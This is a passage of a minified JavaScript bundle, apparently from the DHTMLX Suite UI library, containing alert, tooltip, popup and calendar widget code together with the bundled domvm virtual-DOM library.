dhx_button--size_medium">'+o+"</button>\n\t\t\t</div>",document.body.appendChild(i),i.querySelector(".dhx_alert__confirm-reject").focus();var r=function(t){"BUTTON"===t.target.tagName&&function(t){a(),i.removeEventListener("click",r),document.body.removeChild(i),e(t)}(t.target.classList.contains("dhx_alert__confirm-aply"))};i.addEventListener("click",r)})}}).call(this,n(7))},function(e,t,n){"use strict";var i=this&&this.__assign||function(){return(i=Object.assign||function(e){for(var t,n=1,i=arguments.length;n<i;n++)for(var r in t=arguments[n])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});var r=n(1),o=n(6),a=750,s=200;function l(e,t,n,i){var r,a,s;switch(t){case o.Position.center:return(a=e.left+window.pageXOffset+(e.width-n)/2)+8<window.pageXOffset&&(a=e.left+window.pageXOffset),{left:a,top:s=e.top+window.pageYOffset+(e.height-i)/2,pos:r=o.RealPosition.center};case o.Position.right:return r=o.RealPosition.right,(a=e.right+window.pageXOffset)+n+8>window.innerWidth+window.pageXOffset&&(a=window.pageXOffset+e.left-n,r=o.RealPosition.left),{left:a,top:s=window.pageYOffset+e.top+(e.height-i)/2,pos:r};case o.Position.bottom:default:return(a=window.pageXOffset+e.left+(e.width-n)/2)+n>window.innerWidth+window.pageXOffset?a=window.innerWidth+window.pageXOffset-n:a<0&&(a=0),r=o.RealPosition.bottom,(s=window.pageYOffset+e.bottom)+i+8>window.innerHeight+window.pageYOffset&&(s=window.pageYOffset+e.top-i,r=o.RealPosition.top),{left:a,top:s,pos:r}}}t.findPosition=l;var u=document.createElement("div"),c=document.createElement("span");c.className="dhx_tooltip__text",u.appendChild(c),u.style.position="absolute";var d,f=null,h=!1,p=null,_=null;function v(e,t,n,i,r){void 0===r&&(r=!1);var a=e.getBoundingClientRect();c.textContent=t,document.body.appendChild(u),u.className="dhx_widget dhx_tooltip"+(r?" dhx_tooltip--forced":"");var s=u.getBoundingClientRect(),d=l(a,n,s.width,s.height),f=d.left,p=d.top,_=d.pos;switch(_){case o.RealPosition.bottom:case o.RealPosition.top:case o.RealPosition.left:case o.RealPosition.right:case o.RealPosition.center:u.style.left=f+"px",u.style.top=p+"px"}u.className+=" dhx_tooltip--"+_+" "+(i||""),h=!0,r||setTimeout(function(){u.className+=" dhx_tooltip--animate"})}function g(e,t,n){var i=n.force,r=n.showDelay,l=n.hideDelay,c=n.position,g=n.css;i||(_=setTimeout(function(){v(e,t,c||o.Position.bottom,g)},r||a));var m=function(){h&&function(e){f&&(p=setTimeout(function(){document.body.removeChild(u),h=!1,p=null},e||s))}(l),clearTimeout(_),e.removeEventListener("mouseleave",m),e.removeEventListener("blur",m),document.removeEventListener("mousedown",m),f=null,d=null};i&&v(e,t,c,g,i),e.addEventListener("mouseleave",m),e.addEventListener("blur",m),document.addEventListener("mousedown",m),d=m}function m(e,t){var n=r.toNode(t.node);n!==f&&(d&&(d(),d=null),f=n,p?(clearTimeout(p),p=null,g(n,e,i({},t,{force:!0}))):g(n,e,t))}function y(e){var t=r.locateNode(e,"dhx_tooltip_text");t&&m(t.getAttribute("dhx_tooltip_text"),{position:t.getAttribute("dhx_tooltip_position")||o.Position.bottom,node:t})}t.tooltip=m,t.enableTooltip=function(){document.addEventListener("mousemove",y)},t.disableTooltip=function(){document.removeEventListener("mousemove",y)}},function(e,t,n){"use strict";var i=this&&this.__extends||function(){var e=function(t,n){return(e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])})(t,n)};return function(t,n){function i(){this.constructor=t}e(t,n),t.prototype=null===n?Object.create(n):(i.prototype=n.prototype,new i)}}(),r=this&&this.__assign||function(){return(r=Object.assign||function(e){for(var t,n=1,i=arguments.length;n<i;n++)for(var r in t=arguments[n])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});var o=n(0),a=n(2),s=n(3),l=n(1),u=n(4),c=n(13),d=function(e){function t(t){void 0===t&&(t={});var n=e.call(this,null,o.extend({},t))||this,i=n._popup=document.createElement("div");return i.className="dhx_widget dhx_popup"+(n.config.css?" "+n.config.css:""),i.style.position="absolute",n.mount(i,a.create({render:function(){return n.toVDOM()}})),n._clickEvent=function(e){return n.events.fire(c.PopupEvents.click,[e])},n.events=t.events||new s.EventSystem(n),n._isActive=!1,n}return i(t,e),t.prototype.show=function(e,t,n){var i=this;void 0===t&&(t={}),this.events.fire(c.PopupEvents.beforeShow,[e])&&(e=l.toNode(e),this._isActive?this._setPopupSize(e,t):(n&&this.attach(n),this._popup.style.left="0",this._popup.style.top="0",document.body.appendChild(this._popup),this._setPopupSize(e,t),this._isActive=!0,a.awaitRedraw().then(function(){i.events.fire(c.PopupEvents.afterShow,[e]),i._outerClickDestructor=i._detectOuterClick(e)})))},t.prototype.hide=function(){this._hide(!1,null)},t.prototype.isVisible=function(){return this._isActive},t.prototype.attach=function(e,t){return this._html=null,"object"==typeof e?this._ui=e:"string"==typeof e?this._ui=new window.dhx[e](null,t):"function"==typeof e&&(e.prototype instanceof u.View?this._ui=new e(null,t):this._ui={getRootView:function(){return e(t)}}),this.paint(),this._ui},t.prototype.attachHTML=function(e){this._html=e,this.paint()},t.prototype.getWidget=function(){return this._ui},t.prototype.getContainer=function(){return this.getRootView().refs.content.el},t.prototype.toVDOM=function(){var e;return this._html?e=a.el(".dhx_popup__inner-html-content",{".innerHTML":this._html}):(e=this._ui?this._ui.getRootView():null)&&e.render&&(e=a.inject(e)),a.el("div",{class:"dhx_popup-content",onclick:this._clickEvent,_key:this._uid,_ref:"content"},[e])},t.prototype.destructor=function(){this.hide(),this._outerClickDestructor&&this._outerClickDestructor(),this._popup=null},t.prototype._setPopupSize=function(e,t,n){var i=this;void 0===n&&(n=3);var o=this._popup.getBoundingClientRect(),a=o.width,s=o.height;if(this._timeout&&(clearTimeout(this._timeout),this._timeout=null),!n||0!==a&&0!==s){var u=l.fitPosition(e,r({centering:!0,mode:l.Position.bottom},t,{width:a,height:s})),c=u.left,d=u.top;if(this._popup.style.left=c,this._popup.style.top=d,t.indent&&0!==t.indent)switch(t.mode){case l.Position.top:this._popup.style.top=parseInt(this._popup.style.top.slice(0,-2),null)-parseInt(t.indent.toString(),null)+"px";break;case l.Position.bottom:this._popup.style.top=parseInt(this._popup.style.top.slice(0,-2),null)+parseInt(t.indent.toString(),null)+"px";break;case l.Position.left:this._popup.style.left=parseInt(this._popup.style.left.slice(0,-2),null)-parseInt(t.indent.toString(),null)+"px";break;case l.Position.right:this._popup.style.left=parseInt(this._popup.style.left.slice(0,-2),null)+parseInt(t.indent.toString(),null)+"px";break;default:this._popup.style.top=parseInt(this._popup.style.top.slice(0,-2),null)+parseInt(t.indent.toString(),null)+"px"}}else this._timeout=setTimeout(function(){i._isActive&&(i._setPopupSize(e,t,n-1),i._timeout=null)})},t.prototype._detectOuterClick=function(e){var t=this,n=function(i){for(var r=i.target;r;){if(r===e||r===t._popup)return;r=r.parentNode}t._hide(!0,i)&&document.removeEventListener("click",n)};return document.addEventListener("click",n),function(){return document.removeEventListener("click",n)}},t.prototype._hide=function(e,t){if(this._isActive)return!!this.events.fire(c.PopupEvents.beforeHide,[e,t])&&(document.body.removeChild(this._popup),this._isActive=!1,this._outerClickDestructor&&(this._outerClickDestructor(),this._outerClickDestructor=null),this.events.fire(c.PopupEvents.afterHide,[t]),!0)},t}(u.View);t.Popup=d},function(e,t,n){
/**
* Copyright (c) 2017, Leon Sorokin
* All rights reserved. (MIT Licensed)
*
* domvm.js (DOM ViewModel)
* A thin, fast, dependency-free vdom view layer
* @preserve https://github.com/leeoniya/domvm (v3.2.6, micro build)
*/
e.exports=function(){"use strict";var e=1,t=2,n=3,i=4,r=5,o="undefined"!=typeof window,a=(o?window:{}).requestAnimationFrame,s={};function l(){}var u=Array.isArray;function c(e){return null!=e}function d(e){return null!=e&&e.constructor===Object}function f(e,t,n,i){e.splice.apply(e,[n,i].concat(t))}function h(e){var t=typeof e;return"string"===t||"number"===t}function p(e){return"function"==typeof e}function _(e){for(var t=arguments,n=1;n<t.length;n++)for(var i in t[n])e[i]=t[n][i];return e}function v(e,t){for(var n=[],i=t;i<e.length;i++)n.push(e[i]);return n}function g(e,t){for(var n in e)if(e[n]!==t[n])return!1;return!0}function m(e,t){var n=e.length;if(t.length!==n)return!1;for(var i=0;i<n;i++)if(e[i]!==t[i])return!1;return!0}function y(e){if(!a)return e;var t,n,i;function r(){t=0,e.apply(n,i)}return function(){n=this,i=arguments,t||(t=a(r))}}function w(e){return"o"===e[0]&&"n"===e[1]}function b(e){return"_"===e[0]}function x(e){return"style"===e}function k(e){e&&e.el&&e.el.offsetHeight}function M(e){return null!=e.node&&null!=e.node.el}function D(e,t){switch(t){case"value":case"checked":case"selected":return!0}return!1}function C(e){for(e=e||s;null==e.vm&&e.parent;)e=e.parent;return e.vm}function P(){}var S=P.prototype={constructor:P,type:null,vm:null,key:null,ref:null,data:null,hooks:null,ns:null,el:null,tag:null,attrs:null,body:null,flags:0,_class:null,_diff:null,_dead:!1,_lis:!1,idx:null,parent:null};function E(e){var n=new P;return n.type=t,n.body=e,n}var O={},V=/\[(\w+)(?:=(\w+))?\]/g,L=1,H=2,T=4,j=8;function N(t,n,i,r){var o=new P;o.type=e,c(r)&&(o.flags=r),o.attrs=n;var a=function(e){var t,n,i,r,o=O[e];if(null==o)for(O[e]=o={tag:(t=e.match(/^[-\w]+/))?t[0]:"div",id:(n=e.match(/#([-\w]+)/))?n[1]:null,class:(i=e.match(/\.([-\w.]+)/))?i[1].replace(/\./g," "):null,attrs:null};r=V.exec(e);)null==o.attrs&&(o.attrs={}),o.attrs[r[1]]=r[2]||"";return o}(t);if(o.tag=a.tag,a.id||a.class||a.attrs){var s=o.attrs||{};if(a.id&&!c(s.id)&&(s.id=a.id),a.class&&(o._class=a.class,s.class=a.class+(c(s.class)?" "+s.class:"")),a.attrs)for(var l in a.attrs)c(s[l])||(s[l]=a.attrs[l]);o.attrs=s}var u=o.attrs;return c(u)&&(c(u._key)&&(o.key=u._key),c(u._ref)&&(o.ref=u._ref),c(u._hooks)&&(o.hooks=u._hooks),c(u._data)&&(o.data=u._data),c(u._flags)&&(o.flags=u._flags),c(o.key)||(c(o.ref)?o.key=o.ref:c(u.id)?o.key=u.id:c(u.name)&&(o.key=u.name+("radio"===u.type||"checkbox"===u.type?u.value:"")))),null!=i&&(o.body=i),o}function z(e,n,o,a){if(e.type!==r&&e.type!==i){e.parent=n,e.idx=o,e.vm=a,null!=e.ref&&function(e,t,n){var i=["refs"].concat(t.split("."));!function(e,t,n){for(var i;i=t.shift();)0===t.length?e[i]=n:e[i]=e=e[i]||{}}(e,i,n)}(C(e),e.ref,e);var s=e.hooks,l=a&&a.hooks;(s&&(s.willRemove||s.didRemove)||l&&(l.willUnmount||l.didUnmount))&&function(e){for(;e=e.parent;)e.flags|=L}(e),u(e.body)&&function(e){for(var n=e.body,i=0;i<n.length;i++){var r=n[i];!1===r||null==r?n.splice(i--,1):u(r)?f(n,r,i--,1):(null==r.type&&(n[i]=r=E(""+r)),r.type===t?null==r.body||""===r.body?n.splice(i--,1):i>0&&n[i-1].type===t?(n[i-1].body+=r.body,n.splice(i--,1)):z(r,e,i,null):z(r,e,i,null))}}(e)}}var A={animationIterationCount:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridRow:!0,gridColumn:!0,order:!0,lineClamp:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0};function R(e,t){return isNaN(t)||A[e]?t:t+"px"}function I(e,t){var n=(e.attrs||s).style,i=t?(t.attrs||s).style:null;if(null==n||h(n))e.el.style.cssText=n;else{for(var r in n){var o=n[r];(null==i||null!=o&&o!==i[r])&&(e.el.style[r]=R(r,o))}if(i)for(var a in i)null==n[a]&&(e.el.style[a]="")}}var F=[];function Y(e,t,n,i,r){if(null!=e){var o=n.hooks[t];if(o){if("d"!==t[0]||"i"!==t[1]||"d"!==t[2])return o(n,i);r?k(n.parent)&&o(n,i):F.push([o,n,i])}}}function B(e){var t;if(F.length)for(k(e.node);t=F.shift();)t[0](t[1],t[2])}var W=o?document:null;function X(e){return e.nextSibling}function $(e,t,n){var i=t._node,r=i.vm;if(u(i.body))if((i.flags&L)===L)for(var o=0;o<i.body.length;o++)$(t,i.body[o].el);else K(i);delete t._node,e.removeChild(t),Y(i.hooks,"didRemove",i,null,n),null!=r&&(Y(r.hooks,"didUnmount",r,r.data,n),r.node=null)}function U(e,t){var n=t._node;if(!n._dead){var i=function e(t){var n=t.vm,i=null!=n&&Y(n.hooks,"willUnmount",n,n.data),r=Y(t.hooks,"willRemove",t);if((t.flags&L)===L&&u(t.body))for(var o=0;o<t.body.length;o++)e(t.body[o]);return i||r}(n);null!=i&&function(e){return"object"==typeof e&&p(e.then)}(i)?(n._dead=!0,i.then(function(e,t,n){return function(){return e.apply(n,t)}}($,[e,t,!0]))):$(e,t)}}function K(e){for(var t=e.body,n=0;n<t.length;n++){var i=t[n];delete i.el._node,null!=i.vm&&(i.vm.node=null),u(i.body)&&K(i)}}function q(e){var t=e.el;if(0==(e.flags&L))u(e.body)&&K(e),t.textContent=null;else{var n=t.firstChild;do{var i=X(n);U(t,n)}while(n=i)}}function J(e,t,n){var i=t._node,r=null!=t.parentNode,o=t!==n&&r?null:i.vm;null!=o&&Y(o.hooks,"willMount",o,o.data),Y(i.hooks,r?"willReinsert":"willInsert",i),e.insertBefore(t,n),Y(i.hooks,r?"didReinsert":"didInsert",i),null!=o&&Y(o.hooks,"didMount",o,o.data)}function G(e,t,n){J(e,t,n?X(n):null)}var Z={},Q=l;function ee(e,t,n){e[t]=n}function te(e,t,n,i,r){var o=e.apply(r,t.concat([n,i,r,r.data]));r.onevent(n,i,r,r.data,t),Q.call(null,n,i,r,r.data,t),!1===o&&(n.preventDefault(),n.stopPropagation())}function ne(e){var t,n,i=function(e){for(;null==e._node;)e=e.parentNode;return e._node}(e.target),r=C(i),o=e.currentTarget._node.attrs["on"+e.type];if(u(o))t=o[0],n=o.slice(1),te(t,n,e,i,r);else for(var a in o)if(e.target.matches(a)){var s=o[a];u(s)?(t=s[0],n=s.slice(1)):(t=s,n=[]),te(t,n,e,i,r)}}function ie(e,t,n,i){if(n!==i){var r=e.el;null==n||p(n)?ee(r,t,n):null==i&&ee(r,t,ne)}}function re(e,t,n){"."===t[0]&&(t=t.substr(1),n=!0),n?e.el[t]="":e.el.removeAttribute(t)}function oe(e,t,n,i,r){var o=e.el;null==n?!r&&re(e,t,!1):null!=e.ns?o.setAttribute(t,n):"class"===t?o.className=n:"id"===t||"boolean"==typeof n||i?o[t]=n:"."===t[0]?o[t.substr(1)]=n:o.setAttribute(t,n)}function ae(e,t,n){var i=e.attrs||s,r=t.attrs||s;if(i===r);else{for(var o in i){var a=i[o],l=D(e.tag,o),u=l?e.el[o]:r[o];a===u||(x(o)?I(e,t):b(o)||(w(o)?ie(e,o,a,u):oe(e,o,a,l,n)))}for(var o in r)!(o in i)&&!b(o)&&re(e,o,D(e.tag,o)||w(o))}}function se(e,t,n,r){return e.type===i&&(t=e.data,n=e.key,r=e.opts,e=e.view),new xe(e,t,n,r)}function le(e){for(var t=0;t<e.body.length;t++){var o=e.body[t],a=o.type;if(a<=n)J(e.el,ue(o));else if(a===i){var s=se(o.view,o.data,o.key,o.opts)._redraw(e,t,!1);a=s.node.type,J(e.el,ue(s.node))}else if(a===r){var s=o.vm;s._redraw(e,t),a=s.node.type,J(e.el,s.node.el)}}}function ue(i,r){return null==i.el&&(i.type===e?(i.el=r||function(e,t){return null!=t?W.createElementNS(t,e):W.createElement(e)}(i.tag,i.ns),null!=i.attrs&&ae(i,s,!0),(i.flags&j)===j&&i.body.body(i),u(i.body)?le(i):null!=i.body&&""!==i.body&&(i.el.textContent=i.body)):i.type===t?i.el=r||function(e){return W.createTextNode(e)}(i.body):i.type===n&&(i.el=r||function(e){return W.createComment(e)}(i.body))),i.el._node=i,i.el}window.lisMove=he;var ce=1,de=2;function fe(e,t,n,i,r,o,a,s){return function(l,u,c,d,f,h){var p,_;if(null!=d[i]){if(null==(p=d[i]._node))return void(d[i]=e(d[i]));if(function(e){return e.parent}(p)!==l)return _=e(d[i]),null!=p.vm?p.vm.unmount(!0):U(u,d[i]),void(d[i]=_)}if(d[r]==f)return de;if(null==d[r].el)n(u,ue(d[r]),d[i]),d[r]=t(d[r],c);else if(d[r].el===d[i])d[r]=t(d[r],c),d[i]=e(d[i]);else{if(h||p!==d[a])return h&&null!=d[i]?he(e,t,n,i,r,u,c,p,d):ce;_=d[i],d[i]=e(_),s(u,_,d[o]),d[o]=_}}}function he(e,t,n,i,r,o,a,s,l){if(s._lis)n(o,l[r].el,l[i]),l[r]=t(l[r],a);else{var u=function(e,t){var n,i=0,r=t.length-1;if(r<=2147483647)for(;i<=r;){if(t[n=i+r>>1]===e)return n;t[n]<e?i=n+1:r=n-1}else for(;i<=r;){if(n=Math.floor((i+r)/2),t[n]===e)return n;t[n]<e?i=n+1:r=n-1}return i==t.length?null:i}(s.idx,l.tombs);s._lis=!0;var c=e(l[i]);n(o,l[i],null!=u?a[l.tombs[u]].el:u),null==u?l.tombs.push(s.idx):l.tombs.splice(u,0,s.idx),l[i]=c}}var pe=fe(X,function(e,t){return t[e.idx+1]},J,"lftSib","lftNode","rgtSib","rgtNode",G),_e=fe(function(e){return e.previousSibling},function(e,t){return t[e.idx-1]},G,"rgtSib","rgtNode","lftSib","lftNode",J);function ve(e,t,n,i){for(var r=Array.prototype.slice.call(t.childNodes),o=[],a=0;a<r.length;a++){var s=r[a]._node;s.parent===e&&o.push(s.idx)}for(var l=function(e){var t,n,i=e.slice(),r=[];r.push(0);for(var o=0,a=e.length;o<a;++o){var s=r[r.length-1];if(e[s]<e[o])i[o]=s,r.push(o);else{for(t=0,n=r.length-1;t<n;){var l=(t+n)/2|0;e[r[l]]<e[o]?t=l+1:n=l}e[o]<e[r[t]]&&(t>0&&(i[o]=r[t-1]),r[t]=o)}}for(t=r.length,n=r[t-1];t-- >0;)r[t]=n,n=i[n];return r}(o).map(function(e){return o[e]}),u=0;u<l.length;u++)n[l[u]]._lis=!0;for(i.tombs=l;;){var c=pe(e,t,n,i,null,!0);if(c===de)break}}function ge(e){return e.el._node.parent!==e.parent}function me(e,t,n){return t[n]}function ye(e,t,n){for(;n<t.length;n++){var o=t[n];if(null!=o.vm){if(e.type===i&&o.vm.view===e.view&&o.vm.key===e.key||e.type===r&&o.vm===e.vm)return o}else if(!ge(o)&&e.tag===o.tag&&e.type===o.type&&e.key===o.key&&(e.flags&~L)==(o.flags&~L))return o}return null}function we(e,t,n){return t[t._keys[e.key]]}function be(o,a){Y(a.hooks,"willRecycle",a,o);var l=o.el=a.el,c=a.body,d=o.body;if(l._node=o,o.type!==t||d===c){null==o.attrs&&null==a.attrs||ae(o,a,!1);var f=u(c),h=u(d),p=(o.flags&j)===j;f?h||p?function(t,o){var a=t.body,l=a.length,u=o.body,c=u.length,d=(t.flags&j)===j,f=(t.flags&H)===H,h=(t.flags&T)===T,p=!f&&t.type===e,_=!0,v=h?we:f||d?me:ye;if(h){for(var g={},m=0;m<u.length;m++)g[u[m].key]=m;u._keys=g}if(p&&0===l)return q(o),void(d&&(t.body=[]));var y,w,b=0,x=!1,k=0;if(d)var D={key:null},C=Array(l);for(var m=0;m<l;m++){if(d){var P=!1,S=null;_&&(h&&(D.key=a.key(m)),y=v(D,u,k)),null!=y?(w=y.idx,!0===(S=a.diff(m,y))?((E=y).parent=t,E.idx=m,E._lis=!1):P=!0):P=!0,P&&(z(E=a.tpl(m),t,m),E._diff=null!=S?S:a.diff(m),null!=y&&be(E,y)),C[m]=E}else{var E=a[m],O=E.type;if(O<=n)(y=_&&v(E,u,k))&&(be(E,y),w=y.idx);else if(O===i){if(y=_&&v(E,u,k)){w=y.idx;var V=y.vm._update(E.data,t,m)}else var V=se(E.view,E.data,E.key,E.opts)._redraw(t,m,!1);O=V.node.type}else if(O===r){var L=M(E.vm),V=E.vm._update(E.data,t,m,L);O=V.node.type}}if(!h&&null!=y&&(w===k?++k===c&&l>c&&(y=null,_=!1):x=!0,c>100&&x&&++b%10==0))for(;k<c&&ge(u[k]);)k++}d&&(t.body=C),p&&function(e,t){var n=t.body,i=e.el,r=e.body,o={lftNode:r[0],rgtNode:r[r.length-1],lftSib:(n[0]||s).el,rgtSib:(n[n.length-1]||s).el};e:for(;;){for(;;){var a=pe(e,i,r,o,null,!1);if(a===ce)break;if(a===de)break e}for(;;){var l=_e(e,i,r,o,o.lftNode,!1);if(l===ce)break;if(l===de)break e}ve(e,i,r,o);break}}(t,o)}(o,a):d!==c&&(null!=d?l.textContent=d:q(a)):h?(q(a),le(o)):d!==c&&(l.firstChild?l.firstChild.nodeValue=d:l.textContent=d),Y(a.hooks,"didRecycle",a,o)}else l.nodeValue=d}function xe(e,t,n,i){var r=this;r.view=e,r.data=t,r.key=n,i&&(r.opts=i,r.config(i));var o=d(e)?e:e.call(r,r,t,n,i);p(o)?r.render=o:(r.render=o.render,r.config(o)),r._redrawAsync=y(function(e){return r.redraw(!0)}),r._updateAsync=y(function(e){return r.update(e,!0)}),r.init&&r.init.call(r,r,r.data,r.key,i)}var ke=xe.prototype={constructor:xe,_diff:null,init:null,view:null,key:null,data:null,state:null,api:null,opts:null,node:null,hooks:null,onevent:l,refs:null,render:null,mount:function(e,t){var n=this;return t?(q({el:e,flags:0}),n._redraw(null,null,!1),e.nodeName.toLowerCase()!==n.node.tag?(ue(n.node),J(e.parentNode,n.node.el,e),e.parentNode.removeChild(e)):J(e.parentNode,ue(n.node,e),e)):(n._redraw(null,null),e&&J(e,n.node.el)),e&&B(n),n},unmount:function(e){var t=this.node;U(t.el.parentNode,t.el),e||B(this)},config:function(e){var t=this;e.init&&(t.init=e.init),e.diff&&(t.diff=e.diff),e.onevent&&(t.onevent=e.onevent),e.hooks&&(t.hooks=_(t.hooks||{},e.hooks)),e.onemit&&(t.onemit=_(t.onemit||{},e.onemit))},parent:function(){return C(this.node.parent)},root:function(){for(var e=this.node;e.parent;)e=e.parent;return e.vm},redraw:function(e){return e?this._redraw(null,null,M(this)):this._redrawAsync(),this},update:function(e,t){return t?this._update(e,null,null,M(this)):this._updateAsync(e),this},_update:function(e,t,n,i){var r=this;return null!=e&&r.data!==e&&(Y(r.hooks,"willUpdate",r,e),r.data=e),r._redraw(t,n,i)},_redraw:function(e,t,n){var i,r,o=null==e,a=this,s=a.node&&a.node.el&&a.node.el.parentNode,l=a.node;if(null!=a.diff&&(i=a._diff,a._diff=r=a.diff(a,a.data),null!=l)){var c=u(i)?m:g,d=i===r||c(i,r);if(d)return Me(a,l,e,t)}s&&Y(a.hooks,"willRedraw",a,a.data);var f=a.render.call(a,a,a.data,i,r);if(f===l)return Me(a,l,e,t);if(a.refs=null,null!=a.key&&f.key!==a.key&&(f.key=a.key),a.node=f,e?(z(f,e,t,a),e.body[t]=f):l&&l.parent?(z(f,l.parent,l.idx,a),l.parent.body[l.idx]=f):z(f,null,null,a),!1!==n)if(l)if(l.tag!==f.tag||l.key!==f.key){l.vm=f.vm=null;var h=l.el.parentNode,p=X(l.el);U(h,l.el),J(h,ue(f),p),l.el=f.el,f.vm=a}else be(f,l);else ue(f);return s&&Y(a.hooks,"didRedraw",a,a.data),o&&s&&B(a),a},_redrawAsync:null,_updateAsync:null};function Me(e,t,n,i){return null!=n&&(n.body[i]=t,t.idx=i,t.parent=n,t._lis=!1),e}function De(e,t,n,i){var r,o;return null==n?d(t)?r=t:o=t:(r=t,o=n),N(e,r,o,i)}var Ce="http://www.w3.org/2000/svg";function Pe(e,t,n,i){this.view=e,this.data=t,this.key=n,this.opts=i}function Se(e){this.vm=e}Pe.prototype={constructor:Pe,type:i,view:null,data:null,key:null,opts:null},Se.prototype={constructor:Se,type:r,vm:null};var Ee={config:function(e){Q=e.onevent||Q,e.onemit&&function(e){_(Z,e)}(e.onemit)},ViewModel:xe,VNode:P,createView:se,defineElement:De,defineSvgElement:function(e,t,n,i){var r=De(e,t,n,i);return r.ns=Ce,r},defineText:E,defineComment:function(e){var t=new P;return t.type=n,t.body=e,t},defineView:function(e,t,n,i){return new Pe(e,t,n,i)},injectView:function(e){return new Se(e)},injectElement:function(t){var n=new P;return n.type=e,n.el=n.key=t,n},lazyList:function(e,t){var n=e.length,i={items:e,length:n,key:function(n){return t.key(e[n],n)},diff:function(n,i){var r=t.diff(e[n],n);if(null==i)return r;var o=i._diff,a=r===o||u(o)?m(r,o):g(r,o);return a||r},tpl:function(n){return t.tpl(e[n],n)},map:function(e){return t.tpl=e,i},body:function(e){for(var t=Array(n),r=0;r<n;r++){var o=i.tpl(r);o._diff=i.diff(r),t[r]=o,z(o,e,r)}e.body=t}};return i},FIXED_BODY:H,DEEP_REMOVE:L,KEYED_LIST:T,LAZY_LIST:j};function Oe(e){var t,n,i=arguments,r=i.length;if(r>1){var o=1;d(i[1])&&(n=i[1],o=2),t=r===o+1&&(h(i[o])||u(i[o])||n&&(n._flags&j)===j)?i[o]:v(i,o)}return N(e,n,t)}return S.patch=function(e,t){!function(e,t,n){if(null!=t.type){if(null!=e.vm)return;z(t,e.parent,e.idx,null),e.parent.body[e.idx]=t,be(t,e),n&&k(t),B(C(t))}else{var i=Object.create(e);i.attrs=_({},e.attrs);var r=_(e.attrs,t);if(null!=e._class){var o=r.class;r.class=null!=o&&""!==o?e._class+" "+o:e._class}ae(e,i),n&&k(e)}}(this,e,t)},ke.emit=function(e){var t=this,n=t,i=v(arguments,1).concat(n,n.data);do{var r=t.onemit,o=r?r[e]:null;if(o){o.apply(t,i);break}}while(t=t.parent());Z[e]&&Z[e].apply(t,i)},ke.onemit=null,ke.body=function(){return function e(t,n){var i=t.body;if(u(i))for(var r=0;r<i.length;r++){var o=i[r];null!=o.vm?n.push(o.vm):e(o,n)}return n}(this.node,[])},Ee.defineElementSpread=Oe,Ee.defineSvgElementSpread=function(){var e=Oe.apply(null,arguments);return e.ns=Ce,e},Ee}()},function(e,t,n){"use strict";var i=this&&this.__extends||function(){var e=function(t,n){return(e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])})(t,n)};return function(t,n){function i(){this.constructor=t}e(t,n),t.prototype=null===n?Object.create(n):(i.prototype=n.prototype,new i)}}(),r=this&&this.__assign||function(){return(r=Object.assign||function(e){for(var t,n=1,i=arguments.length;n<i;n++)for(var r in t=arguments[n])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});var o=n(0),a=n(2),s=n(3),l=n(4),u=n(31),c=n(42),d=n(16),f=n(43),h=n(9),p=n(44),_=function(e){function t(t,n){void 0===n&&(n={});var i=e.call(this,t,o.extend({weekStart:"sunday",thisMonthOnly:!1,dateFormat:window&&window.dhx&&window.dhx.dateFormat,width:"250px"},n))||this;switch(i.events=new s.EventSystem,i._selected=[],i.config.dateFormat||(i.config.timePicker?12===i.config.timeFormat?i.config.dateFormat="%d/%m/%y %h:%i %A":i.config.dateFormat="%d/%m/%y %H:%i":i.config.dateFormat="%d/%m/%y"),i.config.value&&i._setSelected(i.config.value),i.config.date?i._currentDate=c.DateHelper.toDateObject(i.config.date,i.config.dateFormat):i._getSelected()?i._currentDate=c.DateHelper.copy(i._getSelected()):i._currentDate=new Date,i.config.view){case p.ViewMode.months:i._currentViewMode=p.ViewMode.months;break;case p.ViewMode.years:i._currentViewMode=p.ViewMode.years;break;default:i._currentViewMode=p.ViewMode.calendar}if(i._initHandlers(),i.config.timePicker){i._timepicker=new u.Timepicker(null,{timeFormat:i.config.timeFormat,actions:!0});var r=i._getSelected()||new Date;i._timepicker.setValue(r),i._time=i._timepicker.getValue(),i._timepicker.events.on(u.TimepickerEvents.close,function(){i._timepicker.setValue(i._time),i.showDate(null,p.ViewMode.calendar)}),i._timepicker.events.on(u.TimepickerEvents.save,function(){var e=i._timepicker.getValue(!0),t=e.hour,n=e.minute,r=e.AM,o=i._getSelected(),a=c.DateHelper.withHoursAndMinutes(i._getSelected()||new Date,t,n,r);i.events.fire(p.CalendarEvents.beforeChange,[a,o,!0])&&(i._selected[i._selected.length-1]=a,i.events.fire(p.CalendarEvents.change,[a,o,!0])),i._time=i._timepicker.getValue(),i.showDate(null,p.ViewMode.calendar)})}return i.mount(t,a.create({render:function(){return i._draw()}})),i}return i(t,e),t.prototype.setValue=function(e){if(!e||e instanceof Array&&0===e.length)return!1;this._selected=[];var t=e instanceof Array?e[0]:e,n=c.DateHelper.toDateObject(t,this.config.dateFormat),i=c.DateHelper.copy(this._getSelected());return!!this.events.fire(p.CalendarEvents.beforeChange,[n,i,!1])&&(this._setSelected(e),this._timepicker&&(this._timepicker.setValue(n),this._time=this._timepicker.getValue()),this.showDate(this._getSelected()),this.events.fire(p.CalendarEvents.change,[n,i,!1]),this.paint(),!0)},t.prototype.getValue=function(e){var t=this;return this._selected[0]?this.config.range?e?this._selected.map(function(e){return 